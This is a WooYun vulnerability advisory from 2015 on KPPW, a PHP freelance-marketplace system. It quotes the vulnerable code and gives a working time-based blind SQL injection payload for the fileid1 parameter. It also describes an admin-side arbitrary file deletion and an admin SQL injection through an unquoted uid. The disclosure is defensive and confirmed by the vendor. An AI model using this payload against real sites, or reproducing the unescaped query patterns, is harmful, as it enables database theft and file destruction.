当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0143678

漏洞标题:KPPW最新版一处函数七处注入附送后台任意文件删除两枚加注入一枚

相关厂商:keke.com

漏洞作者: 路人甲

提交时间:2015-10-19 12:56

修复时间:2016-01-19 09:30

公开时间:2016-01-19 09:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-19: 细节已通知厂商并且等待厂商处理中
2015-10-21: 厂商已经确认,细节仅向厂商公开
2015-10-24: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-15: 细节向核心白帽子及相关领域专家公开
2015-12-25: 细节向普通白帽子公开
2016-01-04: 细节向实习白帽子公开
2016-01-19: 细节向公众公开

简要描述:

SQL.

详细说明:

问题出现在 \lib\sys\keke_shop_release_class.php 的save_service_obj函数中
部分代码如下

public function save_service_obj($release_info = array(), $obj_name) {
global $kekezu;
if ($release_info ['step1'] == 'step1') {
if ($_POST ['fileid1']) {
$fileIdArr = explode('|', $_POST ['fileid1']);
if(is_array($fileIdArr)){
$fileIdStr = implode(',', $fileIdArr);
$filePathArr = db_factory::query('select save_name from '.TABLEPRE.'witkey_file where file_id in ('.$fileIdStr.')');
if($filePathArr){
foreach ($filePathArr as $v) {
$filePathStr.=','.$v['save_name'];
}
$filePathStr = substr($filePathStr, 1);
$pic = kekezu::escape ( $filePathStr );
$release_info ['pic_patch'] = $pic;
}
}else{
$filePathArr = db_factory::get_one('select save_name from '.TABLEPRE.'witkey_file where file_id = '.intval($_POST ['fileid1']));
$filePathStr = $filePathArr['save_name'];
$pic = kekezu::escape ( $filePathStr );
$release_info ['pic_patch'] = $pic;
}
}
}
empty ( $release_info ) or $this->_std_obj->_release_info = $release_info;
$_SESSION [$obj_name] = serialize ( $this->_std_obj );
}


$filePathArr = db_factory::query('select save_name from '.TABLEPRE.'witkey_file where file_id in ('.$fileIdStr.')');


此处fileIdStr无单引号保护。
往上看
依次经过
$fileIdArr = explode('|', $_POST ['fileid1']);
$fileIdStr = implode(',', $fileIdArr);
得到fileIdStr
此处只进行了简单的数组判断和提取
传入参数

fileid1=1) and if(((ascii(substring(user(),1,1)))=114),sleep(10),1);#|


则$fileIdArr = ('1) and if(((ascii(substring(user(),1,1)))=114),sleep(10),1);#','')
$fileIdStr = '1) and if(((ascii(substring(user(),1,1)))=114),sleep(10),1);#'
最后拼接的sql即为

select save_name from '.TABLEPRE.'witkey_file where file_id in (1) and if(((ascii(substring(user(),1,1)))=114),sleep(10),1);#)


成功带入查询延时注入
看看哪几个地方引用了它:

截图1443282245.png


拿第一个做证明
shop\goods\control\pub.php
即发布商品,首先登陆,

~@49[GNSOB3Z{Z9}`PH%88B.png


随便填写信息,提交抓包

_M2FH4PDOQ7(N0NYOS`DPZ4.png


直接在fileid1参数后追加要注入的语句

DMP]3LAD$IROW66))KDDL%N.jpg


成功执行。
其余6点原理相同,
再来说说后台的
问题函数在 lib\inc\CommonClass.php 的delFileBySavename函数

public static function delFileBySavename($savename){
if(!$savename){
return false;
}
db_factory::execute("DELETE FROM `".TABLEPRE."witkey_file` WHERE (`save_name`='{$savename}')");
$filename = S_ROOT.'/'.$savename;
if(file_exists($filename)){
unlink($filename);
}
return true;
}


很明显,传入的savename可控即可删除任意文件,来看看引用该函数的地方
向上追踪

}OOL_R]8%8}3I361]QM1U3F.png


即lib\sys\keke_shop_class.php 的 delServiceFiles函数,
部分代码如下:

public static function delServiceFiles($service_id,$filename,$type){
$service_info = db_factory::get_one(sprintf("select * from %switkey_service where service_id='%d' ",TABLEPRE,intval($service_id)));
$filelist = array();
if($type =='pic'){
if($service_info['pic']){
$filelist = explode(',', $service_info['pic']);
}
}else{
if($service_info['file_path']){
$filelist = explode(',', $service_info['file_path']);
}
}
if($filelist){
CommonClass::delFileBySavename($filename);
$newlist = array();
foreach ($filelist as $k=>$v){
if($filename != $v){
$newlist[]=$v;
}
}
}


同样没有针对$filename进行处理
再向上追踪

B5`_M[5$`5JAQ4LMQ%_Z_Q6.png


来看看第一处:

E3}0B_%GXFT$Y}JM8PY8WXW.png


依然没有任何过滤,此处不证明了,虽然可以删除安装lock.毕竟是后台权限。还是比较鸡肋的,
第二处同上
最后给一个超级明显的后台注入点凑十个问题:
auth\enterprise\admin\auth_list.php
第18,19行

$uid=$_GET['uid'];
$strSql="select * from ".TABLEPRE."witkey_space where uid=".$uid;


太明显,就不证明了。

漏洞证明:

如上。

修复方案:

同在武汉,求请吃饭。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-10-21 09:30

厂商回复:

已处理。

最新状态:

暂无